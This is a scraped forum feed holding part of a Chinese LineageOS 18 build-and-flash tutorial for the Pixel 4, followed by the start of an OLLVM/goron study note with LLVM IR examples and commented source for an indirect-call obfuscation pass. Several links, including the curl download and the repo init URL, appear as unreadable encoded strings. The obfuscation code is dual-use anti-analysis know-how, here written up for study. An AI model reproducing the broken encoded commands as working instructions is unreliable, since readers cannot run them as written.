# add Android SDK platform tools to path\\nif [ -d \\"$HOME/platform-tools\\" ] ; then\\n PATH=\\"$HOME/platform-tools:$PATH\\"\\nfi
添加成功之后,刷新环境,然后看看adb有没有成功添加到环境变量中,如果没有说明上一步的路径有问题
source ~/.profile
这里的软件包容易踩坑,官网的给的软件包并不合适,所以作者用的下面的能够成功去编译
sudo apt-get update\\n\\nsudo apt-get install bc bison build-essential ccache curl flex g++-multilib gcc-multilib git git-lfs gnupg gperf imagemagick lib32ncurses5-dev lib32readline-dev lib32z1-dev libelf-dev liblz4-tool libncurses5 libncurses5-dev libsdl1.2-dev libssl-dev libxml2 libxml2-utils lzop pngcrush rsync schedtool squashfs-tools xsltproc zip zlib1g-dev m4
18的话用OpenJDK 11,直接安装就好,安装好了之后运行 java --version 检查有没有安装成功
sudo apt update\\nsudo apt install openjdk-11-jdk
python可以直接将系统的python3软连接成python就可以了
sudo ln -s /usr/bin/python3 /usr/bin/python
创建项目的根目录,准备拉取指定的源码了。~/bin为了放repo,~/android/lineage放安卓源码
mkdir -p ~/bin\\nmkdir -p ~/android/lineage
进入 ~/bin 目录中
cd ~/bin \\ncurl 9e1K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6N6r3!0J5j5h3N6W2i4K6u0W2k6$3!0G2k6$3I4W2j5i4m8A6M7#2)9J5k6h3y4G2L8g2)9J5c8X3N6A6N6q4)9J5k6s2u0W2M7r3!0Q4x3X3c8V1L8%4N6F1L8r3!0S2k6s2y4Q4x3V1k6J5k6i4m8G2i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5y4X3N6@1i4K6y4n7i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9%4c8g2)9J5c8X3u0A6L8W2)9J5c8Y4u0W2M7r3)9`.\\nchmod a+x ~/bin/repo
然后将repo目录添加到环境变量中
vim ~/.profile
将下面的内容添加到上面的文件中的最下面,注意要对应自己的repo所在的目录中
# set PATH so it includes user\'s private bin if it exists\\nif [ -d \\"$HOME/bin\\" ] ; then\\n PATH=\\"$HOME/bin:$PATH\\"\\nfi
然后运行 source ~/.profile 刷新环境变量
source ~/.profile
随便填
git config --global user.email \\"you@example.com\\"\\ngit config --global user.name \\"Your Name\\"
开启缓存加快同步代码的速度,如果你的硬盘足够大,超过500G,ccache指定的大小可以是100G,如果没有就指定50G
export USE_CCACHE=1\\nexport CCACHE_EXEC=/usr/bin/ccache\\n\\nccache -M 100G\\nccache -o compression=true
cd ~/android/lineage\\n\\nrepo init -u ddcK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6x3K9h3&6W2j5h3N6W2e0#2y4Q4x3V1k6S2L8X3c8J5L8$3W2V1i4K6u0W2k6$3W2@1i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5k6r3u0Q4x3U0k6F1j5Y4y4H3i4K6y4n7L8r3W2F1k6h3q4Y4k6g2)9J5k6o6p5^5i4K6u0W2x3g2)9J5y4X3&6T1M7%4m8Q4x3@1u0Q4x3X3c8Q4x3X3c8Y4K9i4c8Q4x3X3c8D9k6Y4y4Q4x3U0k6F1j5Y4y4H3i4K6y4n7i4K6u0V1i4K6u0V1L8X3!0Q4x3X3c8U0L8r3!0F1k6g2)9J5k6r3u0#2L8X3c8D9k6b7`.`.
执行下面的命令是下载源码,你可以根据当前ubuntu的CPU核心数量去指定线程数量,一般是核心数量的2倍。作者的核心数量是10,所以指定20线程。注意,同步过程中有报错是正常的,因为官方会限制短期的请求数量,不用管继续等就好了。
repo sync -j 20
这条命令执行完毕之后,记得再执行 repo status 查看当前的同步状态,如果出现nothing to commit这种字眼说明同步完成了,可以不用看下面的注意了。同步完成之后,就是源代码拉去完毕了,可以进行下一个步骤了。
注意, 没有出现上面提到的字眼就是失败了,失败的话建议执行 repo sync 命令去补全,注意最好不要指定多线程。
repo sync
进入到安卓源码项目的根目录,然后运行下面的命令用来下载设备的特定配置和内核。这里的flame是我的设备代号,其他的设备代号需要自己查然后把flame替换成自己的设备代号
cd ~/android/lineage\\n\\nsource build/envsetup.sh\\nbreakfast flame
第一次运行breakfast 命令,会出现下面的错误,我觉得这里是最大的坑
kerneldev@ubuntu:~/android/lineage$ breakfast flame\\nIn file included from build/make/core/config.mk:291:\\nIn file included from build/make/core/envsetup.mk:266:\\ndevice/google/coral/device-lineage.mk:113: error: _nic.PRODUCTS.[[device/google/coral/lineage_flame.mk]]: \\"vendor/google/flame/flame-vendor.mk\\" does not exist.\\n19:31:40 dumpvars failed with: exit status 1\\nDevice flame not found. Attempting to retrieve device repository from LineageOS Github (d9eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3N6A6N6r3S2#2j5W2)9J5k6h3y4G2L8g2)9J5c8V1I4A6L8X3g2S2k6$3g2a6f1#2)9J5z5g2)9J5k6b7`.`.\\nFound repository: android_device_google_flame\\nDefault revision: lineage-18.1\\nChecking branch info\\nChecking if device/google/flame is fetched from android_device_google_flame\\nLineageOS/android_device_google_flame already fetched to device/google/flame\\nSyncing repository to retrieve project.\\nFetching: 100% (1/1), done in 0.511s\\nChecking out: 100% (1/1), done in 0.001s\\nrepo sync has finished successfully.\\nRepository synced!\\nLooking for dependencies in device/google/flame\\nLooking for dependencies in device/google/coral\\nLooking for dependencies in kernel/google/coral\\nkernel/google/coral has no additional dependencies.\\nLooking for dependencies in packages/apps/ElmyraService\\npackages/apps/ElmyraService has no additional dependencies.\\nDone\\nIn file included from build/make/core/config.mk:291:\\nIn file included from build/make/core/envsetup.mk:266:\\ndevice/google/coral/device-lineage.mk:113: error: _nic.PRODUCTS.[[device/google/coral/lineage_flame.mk]]: \\"vendor/google/flame/flame-vendor.mk\\" does not exist.\\n19:31:43 dumpvars failed with: exit status 1\\nIn file included from build/make/core/config.mk:291:\\nIn file included from build/make/core/envsetup.mk:266:\\ndevice/google/coral/device-lineage.mk:113: error: _nic.PRODUCTS.[[device/google/coral/lineage_flame.mk]]: \\"vendor/google/flame/flame-vendor.mk\\" does not exist.\\n19:31:44 dumpvars failed with: exit status 1\\n\\n** Don\'t have a product spec for: \'lineage_flame\'\\n** Do you have the right repo manifest?
关键的字眼就是 \\"vendor/google/flame/flame-vendor.mk\\" does not exist. 这个内容,原因是这个时候设备的特定内容还没有被拉取到当前的项目中,所以构建设备镜像的时候出现这个错误。下面是解决方案
官网提供了两种解决方式,但是我觉得官网提供的两种方式都不方便,所以这里用作者自己摸索出来的解决方案,因为操作起来是真的简单
首先创建 ~/android/system_dump/ 目录然后进入
mkdir ~/android/system_dump/\\n\\ncd ~/android/system_dump/
因为这个问题出现的原因是当前的项目中缺少了指定设备的特定内容,所以不给我们构建,那么我们可以自己去提取现成的特定内容
这个时候需要你进入到 584K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6D9K9h3&6W2j5h3N6W2i4K6u0V1j5i4u0U0K9r3W2$3k6g2)9J5k6i4c8A6L8i4y4U0K9s2g2E0K9g2)9J5k6h3&6W2N6q4)9J5c8R3`.`. 这个网站中,然后去找到自己对应型号对应版本的包下载下来,注意他一个型号一个版本可能会有多个包,随便下载一个就可以,下载好之后把里面的 payload.bin 文件解压出来。
windows电脑使用 https://pan.quark.cn/s/bf6a4ce548aa 工具,首先把payload.bin放进这个工具的目录中然后双击 打开CMD命令行.bat 文件就可以了,然后按 a 全部提取出来。全部提取出来的镜像保存在当前的目录的 img 目录中
linux电脑使用 https://pan.quark.cn/s/318bd8bf5fe1 工具,直接 payload-dumper-go payload.bin
执行就好。
然后把提取出来的镜像全部拷贝到 ~/android/system_dump/ 目录中,对于lineageOS18系统,需要挂载下面这些镜像,其他的可以参考自己解包内容是否含有这些镜像,然后去挂载。高版本会有更多的镜像,作者也没办法去具体判断需要挂在哪些,但是作者能够给到一个技巧,就是如果这里你挂载的不够,那么在 编译 部分会出现文件找不到的问题,如果你确认了报错的文件在项目中没有,那说明这里少挂载了。
cd ~/android/system_dump/\\n\\nmkdir system/\\n\\nsudo mount -o ro system.img system/\\nsudo mount -o ro vendor.img vendor/\\nsudo mount -o ro product.img product/\\nsudo mount -o ro system_ext.img system_ext/
下一步是进入到自己的设备的指定目录中,然后执行下面的命令
cd ~/android/lineage/device/google/flame\\n\\n./extract-files.sh ~/android/system_dump/
运行这个命令的时候也会出现错误,原因是./extract-files.sh脚本中记录的文件路径有问题,需要自己修改,按照错误提示的文件,然后去找到文件的正确路径修改好就可以了,我是用find命令找的错误路径的文件,改好之后运行上面的内容就能够成功提取到了。
编译的过程中可能会出现中断的操作,虽然有错误但是大概率是交换分区不够大导致的,建议一开始就修改交换分区,大小就改成内存大小,下面是修改交换分区的命令
sudo swapoff /swapfile\\n\\nsudo rm /swapfile\\n\\nsudo dd if=/dev/zero of=/swapfile bs=1M count=32768 status=progress # 设置32G大小\\n\\nsudo chmod 600 /swapfile\\n\\nsudo mkswap /swapfile\\n\\nsudo swapon /swapfile
为了每次系统重启后自动挂载交换分区,需要执行下面的命令
sudo vim /etc/fstab
# 在最下面一行加上 /swapfile none swap sw 0 0 内容
然后运行 swapon --show 去验证交换分区大小,看到是自己指定的大小就可以了
到这个时间点,设备的特定内容已经提取到当前的项目中了,然后可以去准备编译了,下面是作者自己的编译方式,因为作者需要用到一个OTA的包,并且最推荐使用这种方式。
注意,作者这里编译的是user版本的镜像,如果不考虑什么版本,在运行 source build/envsetup.sh 之后可以直接运行 brunch flame 命令,这样他会自己直接去编译userdebug版本的镜像。
cd ~/android/lineage\\n\\nsource build/envsetup.sh\\n\\nlunch lineage_flame-user # 编译user版本镜像\\n \\nm # 全速编译
全速编译完成之后,再执行 make otapackage 命令生成OTA的包,生成的OTA的包和在前面的网站下载的包的格式一摸一样,这个作为作者的系统刷机包
make otapackage
你可以使用其他的方式去完成刷机,作者比较喜欢下面的方式去完成刷机。
编译完成之后,需要把OTA中的boot.img提取出来,然后boot.img和OTA两个内容作为刷机材料
你的设备在刷机之前需要先刷对应安卓版本的谷歌官方的系统,然后才可以按照下面的步骤去刷
adb reboot bootloader \\n\\nfastboot flash boot boot.img
按音量下键进入到recovery模式中,在recovery模式中先Factory reset -> Format data/factory reset清掉当前的数据
然后返回,进入到Apply update -> Apply from ADB 中执行下面的命令完成刷机,这个过程比较长,等刷完之后可以重启手机,开机之后就会发现已经来到了lineageOS中了
adb sideload 编译得到的ota包
cd ~/android/lineage/\\n\\nsource build/envsetup.sh\\n\\nmmm development/tools/idegen/\\n\\ndevelopment/tools/idegen/idegen.sh
执行之后在项目根目录中生成 Android.ipr 文件,这个是用来被导入的文件
cd ~/android/lineage/\\n\\nsource build/envsetup.sh\\n\\nexport SOONG_GEN_CMAKEFILES=1\\nexport SOONG_GEN_CMAKEFILES_DEBUG=1\\n\\nlunch lineage_flame-user\\n\\nm
CMakeLists.txt会生成在out/development/ide/clion/art/runtime/libart-arm64-android/CMakeLists.txt
用Clion打开CMakeLists.txt
tools---\x3ecmake--\x3eChange Project Root
选择aosp源码根路径,等解析完
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n\\n\\n\\n\\n\\n\\n\\n","description":"作者通过自己踩坑发现网上并没有一份很完美的编译lineageOS的教程,作者结合官网和踩坑之后,出一份详细的编译记录,帮助各个苦苦寻找好用的lineage编译文章。遇到问题一定要看清楚文字各位亲们。 编译主机 ubuntu 20.04 真的别用其他的版本,坑太多了。如果你的ubuntu是其他版本,建议自己去lineage官网查看安装需要的库。\\n\\n设备是 flame,编译lineageOS18版本。其他版本也可以参考本文章,反正写的够详细,能踩得坑都记录下来了。\\n\\n安装platform-tools\\n\\n一定要记住platform-tools的安装目录,作者安装在了 ~…","guid":"https://bbs.kanxue.com/thread-286426.htm","author":null,"authorUrl":null,"authorAvatar":null,"publishedAt":"2025-04-10T09:27:43.497Z","media":null,"categories":null,"attachments":null,"extra":null,"language":null},{"title":"[原创] OLLVM 攻略笔记","url":"https://bbs.kanxue.com/thread-286256.htm","content":"\\n\\n在现代软件保护技术中,控制流混淆(Control Flow Obfuscation)是一种常见且有效的手段,用于增加逆向工程的难度。OLLVM(Obfuscated LLVM)是基于 LLVM 编译器框架的一个扩展,它通过插入复杂的控制流混淆逻辑,使得生成的二进制代码难以被分析和理解。控制流平坦化(Control Flow Flattening)是 OLLVM 中最具代表性的混淆技术之一,它通过将程序的控制流打散并引入调度器逻辑,极大地增加了逆向工程的复杂性。
\\n本篇笔记将从以下几个方面展开:
\\n通过这些内容,希望能够帮助读者更好地理解 OLLVM 的工作原理,并掌握应对复杂混淆技术的分析方法,毕竟有谁能拒绝参加一场顶级玩家之间的攻防游戏呢?
\\n环境 | \\n配置 | \\n
---|---|
VMware | \\n16.1.1 build-17801498 | \\n
Ubuntu | \\nUbuntu 20.04.2 LTS | \\n
物理机内存 | \\n32G | \\n
虚拟机内存 | \\n16G | \\n
物理机储存 | \\n2T | \\n
虚拟机内存 | \\n1T | \\n
目标版本 | \\nllvm-project-9.0 | \\n
1 | sudo apt - get install git - core gnupg flex bison build - essential zip curl zlib1g - dev gcc - multilib g + + - multilib libc6 - dev - i386 libncurses5 lib32ncurses5 - dev x11proto - core - dev libx11 - dev lib32z1 - dev libgl1 - mesa - dev libxml2 - utils xsltproc unzip fontconfig libncurses5 cmake ninja - build |
下载网络上大佬开源的 ollvm 项目,goron 是我实际测试比较好用的版本,提供了额外的几种强度不错的混淆 Pass,选择 9.0 版本则是考虑到这个版本网络上可供学习的资料比较多,非常适合学习使用。
\\n1 2 | git clone https: / / github.com / amimo / goron.git git checkout e943a8a78325632df64988e05d66ad5fa0e0c6f6 |
使用编译器打开 ollvm/llvm-project-9.0.1/llvm/CMakeLists.txt
\\n编译器 file — settings — Build,Execution,Deployment — Cmake — Cmake options,配置 Cmake, 添加 Release 选项并设置 CMake options 如下
\\n1 | - G Ninja - DLLVM_ENABLE_PROJECTS = \\"clang\\" |
编译器主界面将工程切换为 clang 并将模式切换为 Release 模式,最后点击运行开始编译
\\n没有 clion的也可以用命令行编译 clang,生成 release 编译配置文件
\\n1 2 3 4 | cd llvm - project - 9.0 . 1 mkdir build_release cd build_release cmake - G Ninja - DCMAKE_BUILD_TYPE = Release - DLLVM_ENABLE_PROJECTS = \\"clang\\" .. / llvm |
编译 release
\\n1 | ninja - j16 |
将 ndk 中的 clang 加入环境变量
\\n1 | export PATH = / home / lxz / ollvm / llvm - project / build_release / bin :$PATH |
将 clang 添加到临时环境变量中
\\n1 | export PATH = / home / lxz / ollvm / llvm - project / cmake - build - release / bin ::$PATH |
测试编译
\\n1 | clang hello.c - o hello |
交叉编译 arm64 需要先安装 gcc-aarch64 和 g++-aarch64
\\n1 | sudo apt install gcc - aarch64 - linux - gnu g + + - aarch64 - linux - gnu |
交叉编译 arm64
\\n1 | clang hello.c - o hello - target aarch64 - linux - gnu |
c
\\n在 LLVM 编译过程中,首先需要将 .c 文件通过前端编译器(如 Clang)转换为 LLVM IR(中间表示)。
\\nll
\\nLLVM Assembly 文件是一种类似于汇编语言的中间表示。它是一种人类可读的文本格式,用于表示 LLVM IR。这种格式在跨平台上具有一定的可移植性。
\\nbc
\\nLLVM Bitcode 文件是一种中间表示的二进制格式,具有跨平台和跨编译器的特性。.bc 文件包含了经过前端编译器生成的 LLVM IR,但已经被编译成了一种更加紧凑的二进制形式。
\\ns
\\n汇编语言文件 .s 文件是汇编语言程序的源代码文件,包含了目标机器的汇编指令。在 LLVM 编译过程的最后阶段,LLVM IR 会被转换为特定目标机器的汇编代码,存储在 .s 文件中。这种格式通常不跨平台,因为汇编指令是特定于目标体系结构的。
\\n生成 ll 文件
\\n1 2 | export PATH = ~ / ollvm / llvm - project - 9.0 . 1 / llvm / cmake - build - release / bin ::$PATH clang - emit - llvm - S hello.c - o hello.ll |
ll 文件也是可以执行的(需要在clion中先将 lli 编译出来)
\\n1 | lli hello.ll |
生成 bc 文件(需要在clion中先将 llvm-as 编译出来)
\\n1 | llvm - as hello.ll - o hello.bc |
生成 s 文件 (需要在clion中先将 llc 编译出来)
\\n1 | llc hello.bc - o hello.s |
s 文件生成可执行文件
\\n1 | clang hello.s - o hello_s |
bc 文件生成可执行文件
\\n1 | clang hello.bc - o hello_bc |
ll 文件生成可执行文件
\\n1 | clang hello.ll - o hello_ll |
下载 android-ndk-r21e
\\n1 2 | wget https: / / dl.google.com / android / repository / android - ndk - r21e - linux - x86_64. zip unzip android - ndk - r21e - linux - x86_64. zip |
将之前编译的 ollvm 中的 lib 和 bin 文件夹拷贝到 ndk 文件夹中
\\n1 2 | cp / home / lxz / ollvm / llvm - project / build_debug / lib / home / lxz / ollvm / android - ndk - r21e / toolchains / llvm / prebuilt / linux - x86_64 / lib cp / home / lxz / ollvm / llvm - project / build_debug / bin / home / lxz / ollvm / android - ndk - r21e / toolchains / llvm / prebuilt / linux - x86_64 / bin |
在 android studio 工程中 local.properties 中自定义 ndk 路径
\\n1 | ndk. dir = / home / lxz / ollvm / android - ndk - r21e |
在 CMakeLists.txt 中添加编译时使用的 ollvm 命令
\\n1 2 3 4 5 6 7 8 | # 只开启控制流平坦化 add_definitions( - mllvm - fla) # 开启指令替换、控制流平坦化、虚假控制流 add_definitions( - mllvm - sub - mllvm - bcf - mllvm - fla) # 指定控制流平坦化和虚假控制流的次数 add_definitions( - mllvm - sub - mllvm - sub_loop = 3 - mllvm - bcf - mllvm - bcf_loop = 3 - mllvm - fla - mllvm - split_num = 3 ) |
这部分除了理解 IR 汇编的基本语法,还必须理解 IR 语言中代码块的概念,这样我们才能理解 OLLVM 中最难的控制流平坦化的技术原理
\\nC 代码
\\n1 2 3 | int fun1( int a, int b){ return a+b; } |
IR 汇编
\\n; dso_local:这是一个链接属性,表示该函数是局部的,仅在当前模块中可见。\\n; i32:表示函数的返回类型是 32 位整数。\\n;@_Z4fun1ii(i32, i32):这是函数的名称和参数列表,@ 是函数名的标识符。\\n;#0:这是一个属性组的引用,表示该函数具有一些特定的属性(如调用约定等),但具体属性需要查看属性组的定义。\\n; 参数优先分配 %0、%1、%2、%3 ... \\ndefine dso_local i32 @_Z4fun1ii(i32, i32) #0 {\\n \\n ; 在栈上分配一个 i32 类型的内存空间,对齐到 4 字节边界,标记为 %3\\n %3 = alloca i32, align 4\\n \\n ; 在栈上分配一个 i32 类型的内存空间,对齐到 4 字节边界,标记为 %4\\n %4 = alloca i32, align 4\\n \\n ; 将 %0 的值存储到 %3 指向的内存中,4 字节对齐\\n store i32 %0, i32* %3, align 4\\n \\n ; 将 %1 的值存储到 %4 指向的内存中, 4 字节对齐\\n store i32 %1, i32* %4, align 4\\n \\n ; 从 %3 指向的内存中加载一个 i32 类型的值,存储到临时变量 %5 中,4 字节对齐\\n %5 = load i32, i32* %3, align 4\\n \\n ; 从 %4 指向的内存中加载一个 i32 类型的值,存储到临时变量 %6 中,4 字节对齐\\n %6 = load i32, i32* %4, align 4\\n \\n ; 将 %5 和 %6 中的值相加,结果存储到临时变量 %7 中,加法操作不会检查有符号溢出\\n %7 = add nsw i32 %5, %6\\n \\n ; 返回函数的结果,即 %7 中存储的加法结果\\n ret i32 %7\\n}\\n\\n
C 代码
\\n1 2 3 4 5 6 7 | int fun2( int a, int b){ int ret = 0; for ( int i = 0; i < 5; i++){ ret += a; } return ret+b; } |
IR 汇编
\\ndefine dso_local i32 @_Z4fun2ii(i32, i32) #0 {\\n %3 = alloca i32, align 4(参数1)\\n %4 = alloca i32, align 4(参数2)\\n %5 = alloca i32, align 4(中间计算结果)\\n %6 = alloca i32, align 4(循环计数器)\\n store i32 %0, i32* %3, align 4\\n store i32 %1, i32* %4, align 4\\n store i32 0, i32* %5, align 4\\n store i32 0, i32* %6, align 4\\n \\n ; 无条件跳转到标签 %7,开始循环\\n br label %7\\n\\n;这部分对应 i < 5\\n7: ; preds = %14, %2\\n %8 = load i32, i32* %6, align 4\\n \\n ; 比较 %8 是否小于 5,结果存放到 %9,%9 为布尔值\\n ; %9 = (bool)(%8 < 5)\\n %9 = icmp slt i32 %8, 5\\n \\n ; 根据比较结果布尔类型的 %9 跳转到标签 %10 或 %17\\n ; if(%9){\\n ;br label %10\\n ;}else{\\n ;br label %17\\n ;}\\n br i1 %9, label %10, label %17\\n\\n; 这部分对应 ret += a\\n10: ; preds = %7\\n ; 从 %3 指向的内存中加载第一个参数的值\\n %11 = load i32, i32* %3, align 4\\n \\n ; 从 %5 指向的内存中加载中间计算结果的值\\n %12 = load i32, i32* %5, align 4\\n \\n ; 将中间计算结果 %12 和第一个参数 %11 相加,结果存储到 %13\\n %13 = add nsw i32 %12, %11\\n \\n ; 将新的中间计算结果 %13 存储到 %5 指向的内存中\\n store i32 %13, i32* %5, align 4\\n \\n ; 跳转到标签 %14,继续循环\\n br label %14\\n\\n; 这部分对应 i++\\n14: ; preds = %10\\n ; 从 %6 指向的内存中加载循环计数器的值\\n %15 = load i32, i32* %6, align 4\\n \\n ; 将循环计数器 %15 加 1,结果存储到 %16\\n %16 = add nsw i32 %15, 1\\n \\n ; 将新的循环计数器值 %16 存储到 %6 指向的内存中\\n store i32 %16, i32* %6, align 4\\n \\n ; 跳转回标签 %7,继续循环\\n br label %7\\n\\n;这部分对应 return ret+b;\\n17: ; preds = %7\\n\\n ; 从 %5 指向的内存中加载最终的中间计算结果\\n %18 = load i32, i32* %5, align 4\\n \\n ; 从 %4 指向的内存中加载第二个参数的值\\n %19 = load i32, i32* %4, align 4\\n \\n ; 将中间计算结果 %18 和第二个参数 %19 相加,结果存储到 %20\\n %20 = add nsw i32 %18, %19\\n \\n ; 返回函数的结果,即 %20 中存储的值\\n ret i32 %20\\n}\\n\\n
C 代码
\\n1 2 3 | int fun3( int a, int b){ return fun2(a, b); } |
IR 汇编
\\ndefine dso_local i32 @_Z4fun3ii(i32, i32) #0 {\\n %3 = alloca i32, align 4\\n %4 = alloca i32, align 4\\n store i32 %0, i32* %3, align 4\\n store i32 %1, i32* %4, align 4\\n %5 = load i32, i32* %3, align 4\\n %6 = load i32, i32* %4, align 4\\n ; 调用函数 _Z4fun2ii,将 %5 和 %6 作为参数传递,返回值存储到临时变量 %7 中\\n %7 = call i32 @_Z4fun2ii(i32 %5, i32 %6)\\n ret i32 %7\\n}\\n\\n
C 代码
\\n1 2 3 4 5 6 7 | int fun4( int a, int b){ if (a > 5){ return fun2(a, b); } else { return fun3(a, b); } } |
IR 汇编
\\ndefine dso_local i32 @_Z4fun4ii(i32, i32) #0 {\\n %3 = alloca i32, align 4\\n %4 = alloca i32, align 4\\n %5 = alloca i32, align 4\\n store i32 %0, i32* %4, align 4\\n store i32 %1, i32* %5, align 4\\n %6 = load i32, i32* %4, align 4\\n %7 = icmp sgt i32 %6, 5\\n br i1 %7, label %8, label %12\\n\\n8: ; preds = %2\\n %9 = load i32, i32* %4, align 4\\n %10 = load i32, i32* %5, align 4\\n %11 = call i32 @_Z4fun2ii(i32 %9, i32 %10)\\n store i32 %11, i32* %3, align 4\\n br label %16\\n\\n12: ; preds = %2\\n %13 = load i32, i32* %4, align 4\\n %14 = load i32, i32* %5, align 4\\n %15 = call i32 @_Z4fun3ii(i32 %13, i32 %14)\\n store i32 %15, i32* %3, align 4\\n br label %16\\n\\n16: ; preds = %12, %8\\n %17 = load i32, i32* %3, align 4\\n ret i32 %17\\n}\\n\\n
这里只给出笔者认为比较重要的代码片段,其中注释多为 AI 分析(让 AI 辅助我们理解复杂的工程是个很棒的主意),也包含少量的笔者在分析时插入的日志 LOG,笔者总结的经验就是在分析的时候多插入LOG,在关键代码前后多打印对应的 IR 汇编,对比前后的区别,将下面的任意一个 Pass 分析透彻后,熟悉了 LLVM 操作 IR 汇编的函数,接下来的源码分析会越来越得心应手。
\\n核心功能:加密函数调用地址,将 bl lable
指令转变为 blr reg
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 | bool runOnFunction(Function &Fn) override { if (!toObfuscate(flag, &Fn, \\"icall\\" )) { // 如果不需要混淆,返回 false return false ; } if (Options && Options->skipFunction(Fn.getName())) { // 如果选项中跳过该函数,返回 false return false ; } LLVMContext &Ctx = Fn.getContext(); // 获取上下文 CalleeNumbering.clear(); // 清空被调用函数编号映射 Callees.clear(); // 清空被调用函数集合 CallSites.clear(); // 清空调用指令集合 NumberCallees(Fn); // 为函数的被调用者编号 if (Callees.empty()) { // 如果没有被调用函数,返回 false return false ; } uint32_t V = RandomEngine.get_uint32_t() & ~3; // 生成随机数 ConstantInt *EncKey = ConstantInt::get(Type::getInt32Ty(Ctx), V, false ); // 创建加密密钥常量 const IPObfuscationContext::IPOInfo *SecretInfo = nullptr; // 混淆信息指针 if (IPO) { // 如果有 IP 混淆上下文 SecretInfo = IPO->getIPOInfo(&Fn); // 获取 IP 信息 } Value *MySecret; if (SecretInfo) { // 如果有混淆信息 MySecret = SecretInfo->SecretLI; // 使用混淆信息中的值 } else { MySecret = ConstantInt::get(Type::getInt32Ty(Ctx), 0, true ); // 否则使用 0 } ConstantInt *Zero = ConstantInt::get(Type::getInt32Ty(Ctx), 0); // 创建零常量 GlobalVariable *Targets = getIndirectCallees(Fn, EncKey); // 获取间接被调用者全局变量 for ( auto CI : CallSites) { // 遍历调用指令集合 SmallVector<Value *, 8> Args; // 参数集合 SmallVector<AttributeSet, 8> ArgAttrVec; // 参数属性集合 CallSite CS(CI); // 创建调用站点 Instruction *Call = CS.getInstruction(); // 获取调用指令 Function *Callee = CS.getCalledFunction(); // 获取被调用函数 FunctionType *FTy = CS.getFunctionType(); // 获取函数类型 IRBuilder<> IRB(Call); // 创建 IR 构建器 Args.clear(); // 清空参数集合 ArgAttrVec.clear(); // 清空参数属性集合 Value *Idx = ConstantInt::get(Type::getInt32Ty(Ctx), CalleeNumbering[CS.getCalledFunction()]); // 获取被调用函数编号 Value *GEP = IRB.CreateGEP(Targets, {Zero, Idx}); // 创建元素指针获取指令 LoadInst *EncDestAddr = IRB.CreateLoad(GEP, CI->getName()); // 创建加载指令 Constant *X; if (SecretInfo) { // 如果有混淆信息 X = ConstantExpr::getSub(SecretInfo->SecretCI, EncKey); // 计算表达式 } else { X = ConstantExpr::getSub(Zero, EncKey); // 计算表达式 } const AttributeList &CallPAL = CS.getAttributes(); // 获取调用属性列表 CallSite::arg_iterator I = CS.arg_begin(); // 参数迭代器 unsigned i = 0; for (unsigned e = FTy->getNumParams(); i != e; ++I, ++i) { // 遍历参数 Args.push_back(*I); // 添加参数到集合 AttributeSet Attrs = CallPAL.getParamAttributes(i); // 获取参数属性 ArgAttrVec.push_back(Attrs); // 添加参数属性到集合 } for (CallSite::arg_iterator E = CS.arg_end(); I != E; ++I, ++i) { // 遍历剩余参数 Args.push_back(*I); // 添加参数到集合 ArgAttrVec.push_back(CallPAL.getParamAttributes(i)); // 添加参数属性到集合 } AttributeList NewCallPAL = AttributeList::get( // 创建新的调用属性列表 IRB.getContext(), CallPAL.getFnAttributes(), CallPAL.getRetAttributes(), ArgAttrVec); Value *Secret = IRB.CreateSub(X, MySecret); // 创建减法指令 Value *DestAddr = IRB.CreateGEP(EncDestAddr, Secret); // 创建元素指针获取指令 // add 进一步增加 icall 的运算复杂度 // 对 MySecret 进行一系列复杂的运算 Value *Value1 = IRB.CreateAdd(MySecret, ConstantInt::get(Type::getInt32Ty(Fn.getContext()), V)); Value *Value2 = IRB.CreateSub(MySecret, ConstantInt::get(Type::getInt32Ty(Fn.getContext()), V)); // 进一步增加复杂性 Value *Value3 = IRB.CreateMul(Value1, ConstantInt::get(Type::getInt32Ty(Fn.getContext()), V)); Value *Value4 = IRB.CreateMul(Value2, ConstantInt::get(Type::getInt32Ty(Fn.getContext()), V)); // 使用位运算 Value *Value5 = IRB.CreateShl(Value3, ConstantInt::get(Type::getInt32Ty(Fn.getContext()), 2)); // 左移 2 位 Value *Value6 = IRB.CreateLShr(Value4, ConstantInt::get(Type::getInt32Ty(Fn.getContext()), 3)); // 逻辑右移 3 位 // 最终结果 Value *FinalValue1 = IRB.CreateAdd(Value5, ConstantInt::get(Type::getInt32Ty(Fn.getContext()), V)); Value *FinalValue2 = IRB.CreateSub(Value6, ConstantInt::get(Type::getInt32Ty(Fn.getContext()), V)); // 创建比较指令,比较 FinalValue1 和 FinalValue2 是否相等 Value *CmpResult = IRB.CreateICmpEQ(FinalValue1, FinalValue2); // 将 FinalValue1 转换为 i8* 类型的指针 Value *FinalValue1AsPtr = IRB.CreateIntToPtr(FinalValue1, Type::getInt8PtrTy(Fn.getContext())); // 使用 CreateSelect 生成 Result,确保 TrueValue 和 FalseValue 的类型一致 Value *Result = IRB.CreateSelect(CmpResult, FinalValue1AsPtr, DestAddr); DestAddr = Result; // add Value *FnPtr = IRB.CreateBitCast(DestAddr, FTy->getPointerTo()); // 创建位转换指令 FnPtr->setName( \\"Call_\\" + Callee->getName()); // 设置名称 CallInst *NewCall = IRB.CreateCall(FTy, FnPtr, Args, Call->getName()); // 创建新的调用指令 NewCall->setAttributes(NewCallPAL); // 设置属性 Call->replaceAllUsesWith(NewCall); // 替换所有使用 Call->eraseFromParent(); // 从父基本块中移除 } return true ; // 返回 true } |
核心功能:加密块间的调用地址,将 b lable
指令转变为 br reg
